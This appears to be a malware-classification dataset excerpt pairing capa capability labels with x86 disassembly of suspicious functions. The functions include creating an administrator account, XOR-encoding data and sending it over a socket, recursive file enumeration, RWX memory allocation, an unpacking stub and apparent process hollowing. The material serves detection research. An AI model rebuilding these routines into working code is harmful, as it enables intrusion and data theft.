joyce8/EMBER2024-capa huggingface dataset:
Function at 0x40fe20
Capabilities:
Add user account
Add user account to group

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
mov eax, dword [ebp + 0xc]
mov dword [ebp - 8], 0
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x40fe33
push ebx
push esi
sub eax, edx
push edi
lea edi, [eax + 1]
mov eax, dword [ebp + 0x10]
mov dword [ebp - 4], edi
lea ecx, [eax + 1]
jmp 0x40fe50
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x40fe50
sub eax, ecx
lea esi, [eax + 1]
xor ecx, ecx
mov eax, edi
mov edx, 2
mul edx
seto cl
neg ecx
or ecx, eax
push ecx
call fcn.0041a4ce
mov edi, eax
xor ecx, ecx
mov eax, esi
mov edx, 2
mul edx
seto cl
neg ecx
or ecx, eax
push ecx
call fcn.0041a4ce
mov ecx, dword [ebp + 0xc]
add esp, 8
mov ebx, eax
mov eax, dword [ebp - 4]
push eax
push edi
push 0xffffffffffffffff
push ecx
push 0
push 0
call dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
mov edx, dword [ebp + 0x10]
push esi
push ebx
push 0xffffffffffffffff
push edx
xor esi, esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
lea eax, [ebp - 8]
push eax
lea ecx, [ebp - 0x28]
mov dword [ebp - 0x24], ebx
mov ebx, 1
push ecx
push ebx
push esi
mov dword [ebp - 0x28], edi
mov dword [ebp - 0x1c], ebx
mov dword [ebp - 0x18], esi
mov dword [ebp - 0x14], esi
mov dword [ebp - 0x10], ebx
mov dword [ebp - 0xc], esi
call dword [sym.imp.NETAPI32.dll_NetUserAdd]
cmp eax, esi
jne 0x40ff4c
mov edx, dword [ebp + 8]
push 0x43c2a0
push edx
lea edi, [esi + 0x2e]
call fcn.00412810
mov eax, dword [ebp - 0x28]
add esp, 8
push ebx
lea ecx, [ebp - 4]
push ecx
push 3
push str.Administrators
push esi
mov dword [ebp - 4], eax
call dword [sym.imp.NETAPI32.dll_NetLocalGroupAddMembers]
lea edi, [esi + 0x36]
test eax, eax
jne 0x40ff34
mov edx, dword [ebp + 8]
push 0x43c2d0
push edx
call fcn.00412810
add esp, 8
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov eax, dword [ebp + 8]
push 0x43c308
push eax
call fcn.00412810
add esp, 8
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
cmp eax, 0x8b0
jne 0x40ff70
mov ecx, dword [ebp + 8]
push 0x43c340
push ecx
mov edi, 0x2c
call fcn.00412810
add esp, 8
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov edx, dword [ebp + 8]
push 0x43c370
mov edi, 0x2e
push edx
call fcn.00412810
add esp, 8
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x411d60
Capabilities:
Enumerate files on windows
Enumerate files recursively

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x368
mov eax, dword [0x442754]
xor eax, ebp
mov dword [ebp - 8], eax
mov eax, dword [ebp + 0x10]
push ebx
push esi
push edi
mov edi, dword [ebp + 0xc]
push edi
push str._s
lea ecx, [ebp - 0x114]
push 0x104
push ecx
mov dword [ebp - 0x360], eax
call fcn.0041d516
add esp, 0x10
lea edx, [ebp - 0x35c]
push edx
lea eax, [ebp - 0x114]
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
mov dword [ebp - 0x364], eax
cmp eax, 0xffffffff
je 0x411f2d
mov ebx, dword [ebp + 0x14]
test byte [ebp - 0x35c], 0x10
je 0x411e87
mov ecx, 0x43a9cc
lea eax, [ebp - 0x330]
lea ebx, [ebx]
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x411e00
test dl, dl
je 0x411dfc
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x411e00
add eax, 2
add ecx, 2
test dl, dl
jne 0x411de0
xor eax, eax
jmp 0x411e05
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
je 0x411f04
mov ecx, 0x43a9d0
lea eax, [ebp - 0x330]
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x411e38
test dl, dl
je 0x411e34
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x411e38
add eax, 2
add ecx, 2
test dl, dl
jne 0x411e18
xor eax, eax
jmp 0x411e3d
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
je 0x411f04
lea ecx, [ebp - 0x330]
push ecx
push edi
push str._s_s
lea edx, [ebp - 0x21c]
push 0x104
push edx
call fcn.0041d516
mov eax, dword [ebp + 0x18]
mov ecx, dword [ebp - 0x360]
add esp, 0x14
push eax
mov eax, dword [ebp + 8]
push ebx
push ecx
lea edx, [ebp - 0x21c]
push edx
push eax
call fcn.00411d60
add esp, 0x14
jmp 0x411f04
xor esi, esi
test ebx, ebx
jle 0x411f04
lea ecx, [ecx]
mov ecx, dword [ebp - 0x360]
mov eax, dword [ecx + esi*4]
push eax
lea edx, [ebp - 0x330]
push edx
call fcn.0041d490
add esp, 8
test eax, eax
je 0x411eb8
mov eax, dword [ebp + 0x18]
cmp dword [ebp - 0x33c], eax
jbe 0x411ebf
inc esi
cmp esi, ebx
jl 0x411e90
jmp 0x411f04
lea ecx, [ebp - 0x330]
push ecx
push edi
push 0x43be60
push 3
call fcn.00402eb0
lea edx, [ebp - 0x330]
push edx
push 0x439dcc
push edi
push 3
mov esi, eax
call fcn.00402eb0
mov ecx, dword [ebp + 8]
push ecx
mov edx, esi
mov ecx, eax
call fcn.00408640
add esp, 0x24
push 0x1f4
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [ebp - 0x364]
lea edx, [ebp - 0x35c]
push edx
push eax
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x411dc2
mov ecx, dword [ebp - 0x364]
push ecx
call dword [sym.imp.KERNEL32.dll_FindClose]
mov ecx, dword [ebp - 8]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0041ba21
mov esp, ebp
pop ebp
ret

Function at 0x412810
Capabilities:
Encode data using xor
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
lea ebx, [edi + 1]
push ebx
call fcn.0041c606
push ebx
mov esi, eax
push 0
push esi
call fcn.00421fd0
add esp, 0x10
test esi, esi
je 0x41284d
mov eax, dword [ebp + 0xc]
push edi
push eax
push esi
call fcn.00420fc0
add esp, 0xc
xor eax, eax
test edi, edi
je 0x41284d
xor byte [eax + esi], 0xbb
inc eax
cmp eax, edi
jb 0x412844
mov ecx, dword [ebp + 8]
push 0
push edi
push esi
push ecx
call dword [sym.imp.WS2_32.dll_send]
pop esi
mov eax, 1
pop ebx
pop ebp
ret
Function at 0x417730
Capabilities:
Access peb ldr_data
Get process heap flags

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4345db
mov eax, dword fs:[0]
push eax
sub esp, 8
push ebx
push esi
push edi
mov eax, dword [0x442754]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, ecx
mov dword [ebp - 0x14], esi
lea ecx, [esi + 4]
mov dword [esi], vtable.std::basic_streambuf_char__struct_std::char_traits_char__.0
call fcn.0041b4b6
push 4
mov dword [ebp - 4], 0
call fcn.0041c104
mov edi, eax
add esp, 4
test edi, edi
je 0x4177b0
call fcn.0041a2bc
mov dword [edi], eax
call fcn.0041a07b
push 0
lea ecx, [ebp - 0x10]
mov ebx, eax
call fcn.00419fb0
mov eax, dword [ebx + 4]
cmp eax, 0xffffffff
jae 0x4177a6
inc eax
mov dword [ebx + 4], eax
lea ecx, [ebp - 0x10]
call fcn.00419fd8
jmp 0x4177b2
xor edi, edi
lea eax, [esi + 8]
mov dword [esi + 0x10], eax
lea ecx, [esi + 0x18]
mov dword [esi + 0x20], ecx
lea edx, [esi + 0x1c]
mov dword [esi + 0x24], edx
mov dword [esi + 0x38], edi
lea eax, [esi + 0xc]
mov dword [esi + 0x14], eax
lea ecx, [esi + 0x28]
mov dword [esi + 0x30], ecx
lea edx, [esi + 0x2c]
mov dword [esi + 0x34], edx
mov dword [eax], 0
mov eax, dword [esi + 0x24]
mov dword [eax], 0
mov ecx, dword [esi + 0x34]
mov dword [ecx], 0
mov edx, dword [esi + 0x10]
mov dword [edx], 0
mov eax, dword [esi + 0x20]
mov dword [eax], 0
mov ecx, dword [esi + 0x30]
mov dword [ecx], 0
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x41ba21
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x442754]
jne 0x41ba2b
repz ret
jmp fcn.0042361c
Function at 0x42ee3c
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x442754]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov dword [ebp - 0x20], eax
mov eax, dword [ebp + 0xc]
push esi
push edi
mov dword [ebp - 0x1c], eax
call fcn.00423e21
and dword [ebp - 0x14], 0
cmp dword [0x45eac4], 0
mov dword [ebp - 0x18], eax
jne 0x42eeef
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov ebx, eax
test ebx, ebx
je 0x42ef97
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxW
push ebx
call edi
test eax, eax
je 0x42ef97
mov esi, dword [sym.imp.KERNEL32.dll_EncodePointer]
push eax
call esi
push str.GetActiveWindow
push ebx
mov dword [0x45eac4], eax
call edi
push eax
call esi
push str.GetLastActivePopup
push ebx
mov dword [0x45eac8], eax
call edi
push eax
call esi
push str.GetUserObjectInformationW
push ebx
mov dword [0x45eacc], eax
call edi
push eax
call esi
mov dword [0x45ead4], eax
test eax, eax
je 0x42eeef
push str.GetProcessWindowStation
push ebx
call edi
push eax
call esi
mov dword [0x45ead0], eax
mov eax, dword [0x45ead0]
mov ecx, dword [ebp - 0x18]
mov esi, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, ecx
je 0x42ef48
cmp dword [0x45ead4], ecx
je 0x42ef48
push eax
call esi
push dword [0x45ead4]
mov edi, eax
call esi
mov ebx, eax
test edi, edi
je 0x42ef48
test ebx, ebx
je 0x42ef48
call edi
test eax, eax
je 0x42ef3f
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call ebx
test eax, eax
je 0x42ef3f
test byte [ebp - 8], 1
jne 0x42ef48
or dword [ebp + 0x10], 0x200000
jmp 0x42ef7b
mov eax, dword [0x45eac8]
cmp eax, dword [ebp - 0x18]
je 0x42ef7b
push eax
call esi
test eax, eax
je 0x42ef7b
call eax
mov dword [ebp - 0x14], eax
test eax, eax
je 0x42ef7b
mov eax, dword [0x45eacc]
cmp eax, dword [ebp - 0x18]
je 0x42ef7b
push eax
call esi
test eax, eax
je 0x42ef7b
push dword [ebp - 0x14]
call eax
mov dword [ebp - 0x14], eax
push dword [0x45eac4]
call esi
test eax, eax
je 0x42ef97
push dword [ebp + 0x10]
push dword [ebp - 0x1c]
push dword [ebp - 0x20]
push dword [ebp - 0x14]
call eax
jmp 0x42ef99
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0041ba21
leave
ret
Function at 0x10001a7d
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
push esi
push 0
push 0x40
push 0x3000
push dword [ebp + 0xc]
push 0
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call sub.KERNEL32.dll_VirtualAllocExNuma
push dword [ebp + 0xc]
mov ecx, dword [0x1004d058]
mov esi, eax
push dword [ebp + 8]
xor eax, eax
test esi, esi
push esi
cmovne ecx, eax
mov dword [0x1004d058], ecx
call fcn.100045c0
add esp, 0xc
mov eax, esi
pop esi
pop ebp
ret

Function at 0x10001da0
Capabilities:
Encode data using xor
Encrypt data using rc4 prga
Hide graphical window

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
and dword [ebp - 0xc], 0
cmp dword [ebp + 0xc], 0
push ebx
push edi
mov edi, dword [ebp + 0x10]
mov bh, byte [edi]
mov al, byte [edi + 1]
jle 0x10001e71
mov edi, dword [ebp - 0xc]
push esi
movzx eax, al
mov esi, 0x322
movzx ecx, bh
mov dword [ebp - 8], eax
mov dword [ebp - 0x10], esi
xor edx, edx
lea eax, [ecx + 1]
div esi
mov ecx, dword [0x1004db90]
mov bh, dl
xor edx, edx
movzx eax, bh
mov dword [ebp - 0xc], eax
lea esi, [eax + ecx]
movzx eax, byte [esi]
add eax, dword [ebp - 8]
div dword [ebp - 0x10]
mov al, dl
mov byte [ebp - 1], al
movzx eax, al
mov dword [ebp - 8], eax
add eax, ecx
push eax
push esi
call fcn.10001e7a
mov eax, dword [ebp - 8]
mov edx, dword [ebp - 0xc]
pop ecx
pop ecx
mov ecx, dword [0x1004db90]
mov esi, dword [sym.imp.USER32.dll_ShowWindow]
push 0
push 0
movzx eax, byte [eax + ecx]
movzx ecx, byte [edx + ecx]
xor edx, edx
add eax, ecx
mov ecx, 0x322
div ecx
mov bl, dl
call esi
push 0
push 0
call esi
mov eax, dword [0x1004db90]
mov esi, edi
sub esi, dword [0x1004d058]
movzx ecx, bl
mov al, byte [ecx + eax]
mov ecx, dword [ebp + 8]
xor byte [esi + ecx], al
inc edi
mov esi, 0x322
mov ecx, dword [ebp - 0xc]
cmp edi, dword [ebp + 0xc]
jl 0x10001dd3
mov edi, dword [ebp + 0x10]
mov al, byte [ebp - 1]
pop esi
mov byte [edi], bh
mov byte [edi + 1], al
pop edi
pop ebx
leave
ret
Function at 0x10029683
Capabilities:
Set environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.10029041

Function at 0x1003b8c9
Capabilities:
Print debug messages

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.1003b79d
Function at 0x430002
Capabilities:
Encode data using xor

Disassembly:
pushal
nop
nop
nop
call 0x43000c
nop
nop
nop
nop
nop
pop eax
nop
add eax, 0x403d6f
nop
sub eax, reloc.user32.dll_IsIconic
nop
nop
nop
nop
mov ebx, dword [eax]
mov ecx, dword [eax + 4]
nop
nop
nop
nop
mov edx, dword [eax + 8]
nop
nop
nop
xor dword [ebx], edx
nop
nop
nop
add ebx, 4
nop
nop
nop
cmp ebx, ecx
nop
nop
nop
nop
nop
nop
nop
jl 0x430030
nop
nop
add eax, 0xc
nop
nop
nop
cmp dword [eax], 0
nop
nop
nop
jne 0x43001e
nop
nop
nop
nop
nop
nop
nop
popal
nop
jmp loc.00401219

Function at 0x4060b6
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.004021ba
and dword [ebp - 4], 0
cmp dword [0x40b654], 0
mov ebx, eax
jne 0x406167
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x406218
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxA
push edi
call esi
test eax, eax
je 0x406218
push eax
call fcn.00402148
mov dword [esp], str.GetActiveWindow
push edi
mov dword [0x40b654], eax
call esi
push eax
call fcn.00402148
mov dword [esp], str.GetLastActivePopup
push edi
mov dword [0x40b658], eax
call esi
push eax
call fcn.00402148
mov dword [esp], str.GetUserObjectInformationA
push edi
mov dword [0x40b65c], eax
call esi
push eax
call fcn.00402148
pop ecx
mov dword [0x40b664], eax
test eax, eax
je 0x406167
push str.GetProcessWindowStation
push edi
call esi
push eax
call fcn.00402148
pop ecx
mov dword [0x40b660], eax
mov eax, dword [0x40b660]
cmp eax, ebx
je 0x4061bf
cmp dword [0x40b664], ebx
je 0x4061bf
push eax
call fcn.004021c3
push dword [0x40b664]
mov esi, eax
call fcn.004021c3
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x4061bf
test edi, edi
je 0x4061bf
call esi
test eax, eax
je 0x4061b6
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x4061b6
test byte [ebp - 0xc], 1
jne 0x4061bf
or dword [ebp + 0x10], 0x200000
jmp 0x4061f8
mov eax, dword [0x40b658]
cmp eax, ebx
je 0x4061f8
push eax
call fcn.004021c3
pop ecx
test eax, eax
je 0x4061f8
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x4061f8
mov eax, dword [0x40b65c]
cmp eax, ebx
je 0x4061f8
push eax
call fcn.004021c3
pop ecx
test eax, eax
je 0x4061f8
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x40b654]
call fcn.004021c3
pop ecx
test eax, eax
je 0x406218
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x40621a
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0xd549a0
Capabilities:
Encrypt data using rc4 ksa

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0xd98e10
mov eax, dword fs:[0]
push eax
sub esp, 0xc
push ebx
push esi
push edi
mov eax, dword [0xdb2014]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov eax, ecx
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x14], eax
mov dword [ebp - 4], 1
lea eax, [ebp + 0x20]
cmp dword [ebp + 0x34], 0x10
mov ecx, 0xdb30ec
push dword [ebp + 0x30]
cmovae eax, dword [ebp + 0x20]
push eax
call fcn.00d680c0
cmp dword [ebp + 0x1c], 0x10
lea eax, [ebp + 8]
push dword [ebp + 0x18]
cmovae eax, dword [ebp + 8]
mov ecx, 0xdb2a8c
push eax
call fcn.00d680c0
mov esi, dword [0xdb30fc]
xor ebx, ebx
mov edi, dword [0xdb3100]
nop word [eax + eax]
cmp edi, 0x10
mov byte [ebx + 0xdb6390], bl
mov eax, ebx
mov ecx, 0xdb30ec
cmovae ecx, dword [0xdb30ec]
cdq
idiv esi
mov al, byte [edx + ecx]
mov byte [ebx + 0xdb64a0], al
inc ebx
cmp ebx, 0x100
jl 0xd54a20
xor edi, edi
xor esi, esi
mov dl, byte [esi + 0xdb6390]
movzx eax, byte [esi + 0xdb64a0]
add edi, eax
movzx ecx, dl
add edi, ecx
and edi, 0x800000ff
jns 0xd54a74
dec edi
or edi, 0xffffff00
inc edi
mov al, byte [edi + 0xdb6390]
mov byte [esi + 0xdb6390], al
inc esi
mov byte [edi + 0xdb6390], dl
cmp esi, 0x100
jl 0xd54a50
mov esi, dword [ebp - 0x10]
mov ecx, esi
call fcn.00d54690
mov edx, dword [ebp + 0x1c]
cmp edx, 0x10
jb 0xd54ac9
mov ecx, dword [ebp + 8]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0xd54abf
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0xd54b1f
push edx
push ecx
call fcn.00d6d663
add esp, 8
mov edx, dword [ebp + 0x34]
mov dword [ebp + 0x18], 0
mov dword [ebp + 0x1c], 0xf
mov byte [ebp + 8], 0
cmp edx, 0x10
jb 0xd54b0b
mov ecx, dword [ebp + 0x20]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0xd54b01
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0xd54b1f
push edx
push ecx
call fcn.00d6d663
add esp, 8
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
call fcn.00d86c6a
int3
Function at 0xd570a0
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff0
sub esp, 0x188
mov eax, dword [0xdb2014]
xor eax, esp
mov dword [esp + 0x184], eax
push esi
push edi
push 0x104
lea eax, [esp + 0x84]
mov esi, ecx
push eax
push 0
call 0x54093f
nop
mov eax, 0x5a4d
cmp word [esi], ax
jne 0xd57289
mov edi, dword [esi + 0x3c]
add edi, esi
cmp dword [edi], 0x4550
jne 0xd57289
push 0x44
lea eax, [esp + 0x3c]
push 0
push eax
call fcn.00d840f0
add esp, 0xc
lea eax, [esp + 0x20]
xorps xmm0, xmm0
movaps xmmword [esp + 0x20], xmm0
push eax
lea eax, [esp + 0x3c]
push eax
push 0
push 0
push 4
push 0
push 0
push 0
push 0
lea eax, [esp + 0xa4]
push eax
call 0x540a04
nop
test eax, eax
je 0xd57289
push 4
push 0x1000
push 4
push 0
call 0x5401ed
nop
push eax
mov dword [esp + 0x1c], eax
mov dword [eax], 0x10007
push dword [esp + 0x28]
call 0x3a00dd
nop
test eax, eax
je 0xd57289
push 0
push 4
lea eax, [esp + 0x24]
push eax
push 0xda8df8
push dword [esp + 0x30]
call 0x3a0616
nop
mov eax, dword [edi + 0x34]
cmp dword [esp + 0x1c], eax
jne 0xd571ac
push 0xda8dfc
push 0xda8e14
call 0x4f0cfd
nop
push eax
call 0x3a0338
nop
push dword [esp + 0x1c]
push dword [esp + 0x24]
call eax
mov eax, dword [edi + 0x34]
push 0x40
push 0x3000
push dword [edi + 0x50]
push eax
push dword [esp + 0x30]
call 0x3a0437
nop
mov dword [esp + 0x14], eax
test eax, eax
je 0xd57289
push 0
push dword [edi + 0x54]
push esi
push eax
push dword [esp + 0x30]
call 0x540830
nop
xor eax, eax
mov dword [esp + 0x10], 0
cmp ax, word [edi + 6]
jae 0xd57243
mov dword [esp + 0xc], eax
call fcn.00d56ef0
push eax
call 0x4e05ef
nop
mov ecx, dword [esp + 0xc]
add ecx, esi
add ecx, dword [esi + 0x3c]
push 0
push dword [ecx + 0x108]
mov eax, dword [ecx + 0x10c]
add eax, esi
push eax
mov eax, dword [ecx + 0x104]
add eax, dword [esp + 0x20]
push eax
push dword [esp + 0x30]
call 0x540830
nop
mov ecx, dword [esp + 0x10]
movzx eax, word [edi + 6]
inc ecx
add dword [esp + 0xc], 0x28
mov dword [esp + 0x10], ecx
cmp ecx, eax
jl 0xd571f2
push 0
push 4
lea eax, [edi + 0x34]
push eax
mov eax, dword [esp + 0x24]
mov eax, dword [eax + 0xa4]
add eax, 8
push eax
push dword [esp + 0x30]
call 0x540830
nop
mov ecx, dword [esp + 0x18]
mov eax, dword [edi + 0x28]
add eax, dword [esp + 0x14]
push ecx
mov dword [ecx + 0xb0], eax
push dword [esp + 0x28]
call 0x3a0831
nop
push dword [esp + 0x24]
call 0x4f0dd4
nop
push 0x8000
push 0
push esi
call 0x54077e
nop
mov ecx, dword [esp + 0x18c]
mov al, 1
pop edi
pop esi
xor ecx, esp
call fcn.00d6cff1
mov esp, ebp
pop ebp
ret
Function at 0xd5af20
Capabilities:
Hash data with md5

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0xd99726
mov eax, dword fs:[0]
push eax
sub esp, 0x438
mov eax, dword [0xdb2014]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov ebx, ecx
mov dword [ebp - 0x414], ebx
push 0
mov dword [ebp - 0x414], ebx
call fcn.00d88b63
push eax
call fcn.00d86660
add esp, 8
call fcn.00d8663f
cdq
mov ecx, 0x3313
idiv ecx
mov edi, edx
call fcn.00d8663f
mov ecx, eax
mov eax, 0x55555556
imul ecx
mov esi, edx
shr esi, 0x1f
add esi, edx
imul esi, edi
call fcn.00d8663f
imul edx, eax, 0x4d
lea ecx, [ebp - 0x444]
add edx, 0x64
add edx, esi
call fcn.00d545b0
mov dword [ebp - 4], 0
lea eax, [ebp - 0x444]
cmp dword [ebp - 0x430], 0x10
lea edx, [ebp - 0x410]
cmovae eax, dword [ebp - 0x444]
sub edx, eax
nop
mov cl, byte [eax]
lea eax, [eax + 1]
mov byte [edx + eax - 1], cl
test cl, cl
jne 0xd5afd0
lea esi, [ebp - 0x410]
lea ecx, [esi + 1]
mov al, byte [esi]
inc esi
test al, al
jne 0xd5afe6
push 0x40
push 0
push 0xdb8560
sub esi, ecx
call fcn.00d840f0
add esp, 0xc
mov dword [0xdb8554], 0
mov edx, esi
mov dword [0xdb8550], 0
lea ecx, [ebp - 0x410]
mov dword [0xdb8540], 0x67452301
mov dword [0xdb8544], 0xefcdab89
mov dword [0xdb8548], 0x98badcfe
mov dword [0xdb854c], 0x10325476
call fcn.00d55530
call fcn.00d555f0
mov ecx, 0xdb65a0
mov dword [ebp - 0x41c], 0
mov dword [ebp - 0x418], 0xf
mov byte [ebp - 0x42c], 0
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0xd5b071
sub ecx, edx
push ecx
push 0xdb65a0
lea ecx, [ebp - 0x42c]
call fcn.00d680c0
mov dword [ebp - 4], 0xffffffff
mov edx, dword [ebp - 0x430]
cmp edx, 0x10
jb 0xd5b0cc
mov ecx, dword [ebp - 0x444]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0xd5b0c2
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0xd5b18c
push edx
push ecx
call fcn.00d6d663
add esp, 8
mov dword [ebp - 0x434], 0
mov dword [ebp - 0x430], 0xf
mov byte [ebp - 0x444], 0
mov dword [ebp - 4], 1
mov eax, dword [ebp - 0x41c]
mov dword [ebx + 0x10], 0
mov dword [ebx + 0x14], 0xf
mov byte [ebx], 0
cmp eax, 1
jb 0xd5b187
dec eax
mov ecx, 0xa
cmp eax, ecx
cmovb ecx, eax
cmp dword [ebp - 0x418], 0x10
lea eax, [ebp - 0x42c]
cmovae eax, dword [ebp - 0x42c]
push ecx
inc eax
mov ecx, ebx
push eax
call fcn.00d680c0
mov edx, dword [ebp - 0x418]
cmp edx, 0x10
jb 0xd5b169
mov ecx, dword [ebp - 0x42c]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0xd5b15f
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0xd5b18c
push edx
push ecx
call fcn.00d6d663
add esp, 8
mov eax, ebx
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.00d6cff1
mov esp, ebp
pop ebp
ret
call fcn.00d68200
call fcn.00d86c6a
int3
Function at 0xd6dcc7
Capabilities:
Parse pe header

Disassembly:
push 0
call 0x9f0541
nop
test eax, eax
je 0xd6dd07
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0xd6dd07
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0xd6dd07
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0xd6dd07
cmp dword [ecx + 0x74], 0xe
jbe 0xd6dd07
cmp dword [ecx + 0xe8], 0
je 0xd6dd07
mov al, 1
ret
xor al, al
ret